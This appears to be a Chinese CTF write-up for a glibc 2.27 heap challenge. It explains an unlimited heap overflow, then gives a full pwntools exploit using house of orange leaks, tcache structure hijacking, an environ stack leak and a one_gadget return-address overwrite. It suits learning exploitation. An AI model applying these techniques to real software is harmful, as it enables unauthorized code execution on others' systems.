这次比赛一共有两道堆题,这道算签到,另一道只有两解,内核题,那就说说这道ezheap咋做吧,这是libc2.27的题,基本思路就是house of orange泄露libc和堆地址+tcache结构体劫持任意写+泄露environ的栈地址,最后打one_gadget
堆题常规菜单,给出了4个功能,增删改查,不过这个删除功能并没有什么卵用,没有free函数
这是freechunk函数,做的时候也没用过
接下来我们看add函数,大小自己决定,没有限制,但最多申请15个
再看edit函数,先让输入修改的大小,这里没有任何检查,这里造成了无限堆溢出,想溢出多少都可以,但是里面有一个checksanbox函数,这里面限制我们无法使用hook
最后看一下show函数,常规打印
接下来就该分析怎么做了,没有free函数,那就用house of orange改掉top_chunk的大小,先把它放进unsortedbin中泄露出libc及堆地址,注意要满足4KB对齐,2.27有tcache结构,为了将其丢到unsortedbin中,我们设置的大小要足够大,具体代码如下
# get heap_base
add(0x10)
edit(0,0x20,b"a"*0x10+p64(0)+p64(0xd91))#溢出修改top_chunkadd(0xf00) #申请大于现在top_chunk大小的chunk,不能随意写,因为要为下面劫持到tcache做准备
add(0x30) #切割unsortedbin
show(2) #泄露libc
rl(b'Chunk at index 2: ')
libc_base = get_addr() - 4113056
print(hex(libc_base))
edit(2,0x10,b"a"*0x10)show(2)
rl(b"a"*0x10)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 624 #泄露堆地址
print(f"heap_base: {hex(heap_base)}")
现在我们已经有了堆和libc地址,接下来我们就要劫持tcache结构体了,如何劫持呢,思路跟上面差不多,依旧是修改top_chunk,但是这次要将其放进tcache中了,之后就是修改其next指针指向tcache结构体,这样我们就能任意地址分配chunk,即任意地址读写的能力
one_gadget = libc_base + 0x10a38c
add(0xd20) #3
add(0x10) #4
edit(4,0x100,b"a"*0x10+p64(0)+p64(0xd1))
add(0xf0) #5
edit(4,0x100,p64(0)*3+p64(0xb1)+p64(heap_base+0x10)*2) #劫持tcache结构体
add(0xa0) #6
add(0xa0) #7 这个堆块分配到了tcache结构体
因为前面的限制,我们没有办法利用hook来打one_gadget,但是我们有任意地址读写的能力,所以就泄露environ的栈地址,我们直接在栈上劫持控制流
environ = libc_base + 0x3EE098
print(f"environ: {hex(environ)}")
edit(7,0x60,b"\x07"*0x40+p64(0)+p64(environ))
add(0x28) #8
show(8)
rl(b'Chunk at index 8: ')
stack = u64(p.recvuntil(b"\x0a")[-8:-1].ljust(8, b"\x00"))
attack_addr = stack - 288
print(f"stack: {hex(stack)}")
edit(7,0x60,b"\x07"*0x40+p64(0)+p64(0)+p64(attack_addr))
add(0x38) #9
debug()
edit(9,0x38,p64(one_gadget)*7)inter()
具体的attack_addr为多少需要自己调试,劫持的是edit的控制流
完整exp如下
from pwn import *
from struct import pack
from ctypes import *from LibcSearcher import *
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb():
# return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
context(os='linux', arch='amd64', log_level='debug')
p = process("./pwn")
# p = remote("113.201.14.253", 11332)
libc = ELF("./libc-2.27.so")
elf = ELF('./pwn')
def add(size):
sla(b'to exit:', b'1')
sla(b'Enter size to add:', str(size))
def free(size):
sla(b'to exit:', b'2')
sla(b'Enter size to free:', str(size))
def show(idx):
sla(b'to exit:', b'3')
sla(b'Enter index to show:', str(idx))def edit(idx,size,content):
sla(b'to exit:', b'4')
sla(b'Enter index to edit:', str(idx))
sla(b'input size', str(size))
sla(b'input', content)# get heap_base
add(0x10)
edit(0,0x20,b"a"*0x10+p64(0)+p64(0xd91))add(0xf00)
add(0x30)
show(2)
rl(b'Chunk at index 2: ')
libc_base = get_addr() - 4113056
print(hex(libc_base))
edit(2,0x10,b"a"*0x10)show(2)
rl(b"a"*0x10)
heap_base = u64(p.recv(6).ljust(8,b'\x00')) - 624one_gadget = libc_base + 0x10a38c
add(0xd20) #3
add(0x10) #4
edit(4,0x100,b"a"*0x10+p64(0)+p64(0xd1))
add(0xf0) #5
edit(4,0x100,p64(0)*3+p64(0xb1)+p64(heap_base+0x10)*2) #劫持tcache结构体
add(0xa0) #6
add(0xa0) #7environ = libc_base + 0x3EE098
print(f"environ: {hex(environ)}")
edit(7,0x60,b"\x07"*0x40+p64(0)+p64(environ))
# 0x7fffffffe138 - 288
add(0x28) #8
show(8)
rl(b'Chunk at index 8: ')
stack = u64(p.recvuntil(b"\x0a")[-8:-1].ljust(8, b"\x00"))
attack_addr = stack - 288
print(f"stack: {hex(stack)}")
edit(7,0x60,b"\x07"*0x40+p64(0)+p64(0)+p64(attack_addr))
add(0x38) #9
debug()
edit(9,0x38,p64(one_gadget)*7)inter()